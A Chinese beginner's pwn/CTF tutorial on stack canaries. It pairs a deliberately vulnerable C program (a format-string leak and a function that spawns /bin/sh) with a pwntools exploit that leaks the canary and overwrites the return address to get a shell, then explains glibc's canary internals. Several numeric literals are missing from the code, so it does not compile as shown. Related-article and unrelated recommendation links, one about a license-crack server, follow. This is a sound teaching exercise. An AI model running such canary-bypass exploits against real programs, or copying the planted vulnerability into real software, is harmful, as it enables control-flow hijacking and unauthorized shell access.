PWN菜鸡入门之CANARY探究
看门见码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[];
for(int i=;i<;i++){
read(, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return ;
}
一、函数调用栈
函数调用栈示意图
二、编译为 32bit 程序,开启 NX,ASLR,Canary 保护
gcc -m32 -fno-stack-protector -o printf printf.c //此为关闭canary
Linux在gcc是自动带开启canary的
三、EXP
#!/usr/bin/env python
from pwn import *
context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')
get_shell = ELF("./ex2").sym["getshell"]
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()
解释(个人观点):
process载入
发送100个padding
等待接受完发送的100个padding
继续接收canary的值,减去0xa,是为了减去一个换行符,因为在Linux下的换行符大小是0xa
构造payload,先栈溢出的覆盖
发送canary的值以便检查
发送12个padding来覆盖canary的8个字节大小,4个ebp大小
覆盖返回地址以getshell
四、canary实现原理
当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - ], rax
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+>
call 0x400460 <__stack_chk_fail@plt>
如果 canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while ()
__libc_message (, "*** %s ***: %s terminated\n",
msg, __libc_argv[] ?: "<unknown>");
}
这意味可以通过劫持 __stack_chk_fail的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容 (参见 stack smash)。
进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
事实上,TLS 中的值由函数 security_init 进行初始化。
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
PWN菜鸡入门之CANARY探究的更多相关文章
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- PWN菜鸡入门之栈溢出(1)
栈溢出 一.基本概念: 函数调用栈情况见链接 基本准备: bss段可执行检测: gef➤ b main Breakpoint at . gef➤ r Starting program: /mnt/ ...
- PWN菜鸡入门之函数调用栈与栈溢出的联系
一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp ...
- PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...
- HDU 2064 菜鸡第一次写博客
果然集训就是学长学姐天天传授水铜的动态规划和搜索,今天讲DP由于困意加上面瘫学长"听不懂就是你不行"的呵呵传授,全程梦游.最后面对连入门都算不上的几道动态规划,我的内心一片宁静,甚 ...
- ACM菜鸡退役帖——ACM究竟给了我什么?
这个ACM退役帖,诸多原因(一言难尽...),终于决定在我大三下学期开始的时候写出来.下面说两个重要的原因. 其一是觉得菜鸡的ACM之旅没人会看的,但是新学期开始了,总结一下,只为了更好的出发吧. 其 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(下)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/12/es-code03/ 前提 上篇文章写完了 ES 流程启动的一部分,main 方法都入 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(上)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/11/es-code02/ 前提 上篇文章写了 ElasticSearch 源码解析 -- ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 环境搭建
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/25/es-code01/ 软件环境 1.Intellij Idea:2018.2版本 2. ...
随机推荐
- centos7 Intellij Idea 授权服务器搭建(Jetbrain 家族系列IDE)
centos7 Intellij Idea 授权服务器搭建 1.上传破解文件 我用的是Xshell客户端,有上传功能,但是linux必须先装lrzsz,也可以通过其他方式传到linux上 yum -y ...
- Java并发编程:synchronized和Lock
转自 : http://www.tuicool.com/articles/qYFzUjf
- Android 悬浮窗、悬浮球开发
原文:Android 悬浮窗.悬浮球开发 1.权限管理 直接看我另外一篇博客吧,传送门: https://my.oschina.net/u/1462828/blog/1933162 2.Base类Ba ...
- Linux性能测试 uptime命令
uptime 命令用于查看服务器运行了多长时间以及有多少个用户登录,快速获知服务器的负荷情况. 以下是 uptime 的运行实例: :: up days, min, users, load avera ...
- 汉顺平html5课程分享:6小时制作经典的坦克大战!
记起自己去年參加的一次面试,在做过Java多年的面试官面前发挥的并不好,但他一听说我会html5,立刻眼睛发亮.无论不顾的想要和我签约.. .所以.如今为工作犯愁的朋友们,学好html5,绝对会为你找 ...
- OpenSSL RSA加解密 (.Net公钥加密/ Linux端私钥解密)
要求在.Net端生成公钥私钥对. 然后在.Net端使用RSA公钥加密:在Linux端使用RSA私钥解密. 最初的尝试是:.Net端使用RSACryptoServiceProvider; linux端使 ...
- 使用StringBuilder与SqlParameter
好处: 防止sql注入:占用内存更少 例子: 传参有业务查询条件startDate,endDate,A,每页数据个数pageSize,当前查询页码pageIndex string sql = @&qu ...
- SVN如何迁徙到Git
由于一直都是采用SVN作为源码管理,转到Git不能从头开始吧~~下面就具体说说如何将SVN已有的项目工程迁徙到Git上面 步骤 (1) 安装Git客户端程序(2) 将SVN上面的工程通过Git克隆到本 ...
- Android指纹识别
原文:Android指纹识别 上一篇讲了通过FingerprintManager验证手机是否支持指纹识别,以及是否录入了指纹,这里进行指纹的验证. //获取FingerprintManager实例 F ...
- PHP获得指定日期所在月的第一天和最后一天
function getdays($day){ $firstday = date('Y-m-01',strtotime($day)); $lastday = date('Y-m-d',strtotim ...
